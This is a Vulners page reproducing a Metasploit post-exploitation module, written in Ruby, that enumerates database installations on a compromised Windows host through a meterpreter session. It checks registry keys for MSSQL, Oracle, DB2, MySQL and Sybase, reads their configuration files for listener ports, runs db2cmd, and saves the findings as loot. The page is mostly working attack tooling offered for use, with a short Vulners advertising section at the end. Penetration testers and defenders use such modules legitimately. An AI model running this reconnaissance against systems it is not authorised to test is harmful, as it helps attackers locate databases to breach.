Lucene search
K

Windows Gather Database Instance Enumeration

🗓️ 21 Sep 2012 19:01:32Reported by Barry Shteiman <[email protected]>, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 45 Views

This module enumerates installed database instances on a Windows system

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Database Instance Enumeration',
        'Description' => %q{ This module will enumerate a windows system for installed database instances },
        'License' => MSF_LICENSE,
        'Author' => [
          'Barry Shteiman <barry[at]sectorix.com>', # Module author
          'juan vazquez' # minor help
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_search
              stdapi_sys_config_getenv
            ]
          }
        }
      )
    )
  end

  # method called when command run is issued
  def run
    results = []

    print_status("Enumerating Databases on #{sysinfo['Computer']}")
    if check_mssql
      results += enumerate_mssql
    end
    if check_oracle
      results += enumerate_oracle
    end
    if check_db2
      results += enumerate_db2
    end
    if check_mysql
      results += enumerate_mysql
    end
    if check_sybase
      results += enumerate_sybase
    end

    if results.empty?
      print_status('Done, No Databases were found')
      return
    end

    print_status('Done, Databases Found.')

    tbl = Rex::Text::Table.new(
      'Header' => 'Installed Databases',
      'Indent' => 1,
      'Columns' =>
        [
          'Type',
          'Instance',
          'Database',
          'Port'
        ]
    )

    results.each do |r|
      report_service(host: session.sock.peerhost, port: r[3], name: r[0], info: "#{r[0]}, #{r[1]}")
      tbl << r
    end

    print_line(tbl.to_s)
    p = store_loot('host.databases', 'text/plain', session, tbl.to_s, 'databases.txt', 'Running Databases')
    print_good("Results stored in: #{p}")
  end

  ##### initial identification methods #####

  # method for Checking if database instances are installed on host - mssql
  def check_mssql
    key = 'HKLM\\SOFTWARE\\Microsoft'
    if registry_enumkeys(key).include?('Microsoft SQL Server')
      print_status("\tMicrosoft SQL Server found.")
      return true
    end
    return false
  rescue StandardError
    return false
  end

  # method for Checking if database instances are installed on host - oracle
  def check_oracle
    key = 'HKLM\\SOFTWARE\\Oracle'
    if registry_enumkeys(key).include?('ALL_HOMES')
      print_status("\tOracle Server found.")
      return true
    elsif registry_enumkeys(key).include?('SYSMAN')
      print_status("\tOracle Server found.")
      return true
    elsif registry_enumkeys(key).include?('KEY_XE')
      print_status("\tOracle Server found.")
      return true
    end
    return false
  rescue StandardError
    return false
  end

  # method for Checking if database instances are installed on host - db2
  def check_db2
    key = 'HKLM\\SOFTWARE\\IBM\\DB2'
    if registry_enumkeys(key).include?('GLOBAL_PROFILE')
      print_status("\tDB2 Server found.")
      return true
    end
    return false
  rescue StandardError
    return false
  end

  # method for Checking if database instances are installed on host - mysql
  def check_mysql
    key = 'HKLM\\SOFTWARE'
    if registry_enumkeys(key).include?('MySQL AB')
      print_status("\tMySQL Server found.")
      return true
    end
    return false
  rescue StandardError
    return false
  end

  # method for Checking if database instances are installed on host - sybase
  def check_sybase
    key = 'HKLM\\SOFTWARE\\Sybase'
    if registry_enumkeys(key).include?('SQLServer')
      print_status("\tSybase Server found.")
      return true
    elsif registry_enumkeys(key).include?('Server')
      print_status("\tSybase Server found.")
      return true
    end
    return false
  rescue StandardError
    return false
  end

  ##### deep analysis methods #####

  # method to identify mssql instances
  def enumerate_mssql
    results = []
    key = 'HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL'
    instances = registry_enumvals(key)
    if !instances.nil? && !instances.empty?
      instances.each do |i|
        tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key, i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll"
        tcpport = registry_getvaldata(tcpkey, 'TcpPort')
        print_good("\t\t+ #{registry_getvaldata(key, i)} (Port:#{tcpport})")
        results << ['mssql', "instance:#{registry_getvaldata(key, i)} port:#{tcpport}", 'Microsoft SQL Server', tcpport]
      end
    end
    return results
  rescue StandardError
    print_error("\t\t! could not identify information")
    return results || []
  end

  # method to identify oracle instances
  def enumerate_oracle
    results = []
    found_key = false
    basekey_set = ['HKLM\\SOFTWARE\\Oracle\\SYSMAN', 'HKLM\\SOFTWARE\\ORACLE\\KEY_XE']
    basekey_set.each do |basekey|
      next if found_key

      instances = registry_enumkeys(basekey)
      if instances.nil? || instances.empty?
        next
      else
        found_key = true
      end

      instances.each do |i|
        if basekey.include? 'KEY_XE'
          val_ORACLE_SID = registry_getvaldata(basekey, 'ORACLE_SID')
          val_ORACLE_HOME = registry_getvaldata(basekey, 'ORACLE_HOME')
        else
          key = "#{basekey}\\#{i}"
          val_ORACLE_SID = registry_getvaldata(key, 'ORACLE_SID')
          val_ORACLE_HOME = registry_getvaldata(key, 'ORACLE_HOME')
        end
        if !exist?(val_ORACLE_HOME + '\\NETWORK\\ADMIN\\tnsnames.ora')
          print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")
          next
        end

        data_TNSNAMES = read_file(val_ORACLE_HOME + '\\NETWORK\\ADMIN\\tnsnames.ora')
        if data_TNSNAMES =~ /PORT\ =\ (\d+)/
          port = ::Regexp.last_match(1)
          print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})")
          results << [ 'oracle', "instance:#{val_ORACLE_SID} port:#{port}", 'Oracle Database Server', port ]
        else
          print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")
        end
      end
    end
    if !found_key
      print_error("\t\t! Oracle instances not found")
    end
    return results
  rescue StandardError
    print_error("\t\t! could not identify information")
    return results || []
  end

  # method to identify mysql instances
  def enumerate_mysql
    results = []
    basekey = 'HKLM\\SOFTWARE\\MySQL AB'
    instances = registry_enumkeys(basekey)
    if instances.nil? || instances.empty?
      return results
    end

    instances.each do |i|
      key = "#{basekey}\\#{i}"
      val_location = registry_getvaldata(key, 'Location')

      data = find_mysql_conf(val_location)

      if data && data =~ (/port=(\d+)/)
        port = ::Regexp.last_match(1)
        print_good("\t\t+ MYSQL (Port:#{port})")
        results << ['mysql', "instance:MYSQL port:#{port}", 'MySQL Server', port]
      else
        print_error("\t\t! could not identify information")
      end
    end
    return results
  rescue StandardError
    print_error("\t\t! could not identify information")
    return results || []
  end

  # method to identify sybase instances
  def enumerate_sybase
    basekey = 'HKLM\\SOFTWARE\\Sybase\\SQLServer'
    instance = registry_getvaldata(basekey, 'DSLISTEN')
    location = registry_getvaldata(basekey, 'RootDir')
    results = []

    if !exist?(location + '\\ini\\sql.ini')
      print_error("\t\t! could not locate configuration file.")
      return results
    end

    data = read_file(location + '\\ini\\sql.ini')
    if data =~ /\[#{instance}\]([^\[]*)/
      segment = ::Regexp.last_match(1)
    else
      print_error("\t\t! couldnt locate information.")
      return results
    end

    if segment =~ /master=\w+,[^,]+,(\d+)/
      port = ::Regexp.last_match(1)
    else
      print_error("\t\t! couldnt locate information.")
      return results
    end

    print_good("\t\t+ #{instance} (Port:#{port})")
    results << [ 'sybase', "instance:#{instance} port:#{port}", 'Sybase SQL Server', port ]
    return results
  rescue StandardError
    print_error("\t\t! couldnt locate information.")
    return results || []
  end

  # method to identify db2 instances
  def enumerate_db2
    results = []
    cmd_i = cmd_exec('db2cmd', '-i -w /c db2ilist')
    cmd_p = cmd_exec('db2cmd', '-i -w /c db2 get dbm cfg')
    if cmd_p =~ %r{\ ?TCP/IP\ Service\ name\ +\(SVCENAME\)\ =\ (\w+)}
      port = ::Regexp.last_match(1)
    else
      print_error("\t\t! could not identify instances information")
      return results
    end

    windir = session.sys.config.getenv('windir')
    getfile = session.fs.file.search(windir + '\\system32\\drivers\\etc\\', 'services.*', recurse = true, timeout = -1)

    data = nil
    getfile.each do |file|
      if exist?("#{file['path']}\\#{file['name']}")
        data = read_file("#{file['path']}\\#{file['name']}")
        break if !data.nil?
      end
    end

    if data && data =~ (/#{port}[\ \t]+(\d+)/)
      port_t = ::Regexp.last_match(1)
    else
      print_error("\t\t! could not identify instances information")
      return results
    end

    cmd_i.split("\n").compact.each do |line|
      stripped = line.strip
      print_good("\t\t+ #{stripped} (Port:#{port_t})")
      results << [ 'db2', "instance:#{stripped} port:#{port_t}", 'DB2 Server', port_t ]
    end

    return results
  rescue StandardError
    print_error("\t\t! could not identify instances information")
    return results || []
  end

  ##### helper methods #####

  def find_mysql_conf(val_location)
    data = nil
    if exist?(val_location + '\\my.ini')
      data = read_file(val_location + '\\my.ini')
    elsif exist?(val_location + '\\my.cnf')
      data = read_file(val_location + '\\my.cnf')
    else
      sysdriv = session.sys.config.getenv('SYSTEMDRIVE')
      getfile = session.fs.file.search(sysdriv + '\\', 'my.ini', recurse = true, timeout = -1)
      getfile.each do |file|
        if exist?("#{file['path']}\\#{file['name']}")
          data = read_file("#{file['path']}\\#{file['name']}")
          break
        end
      end
    end
    return data
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
7.3High risk
Vulners AI Score7.3
45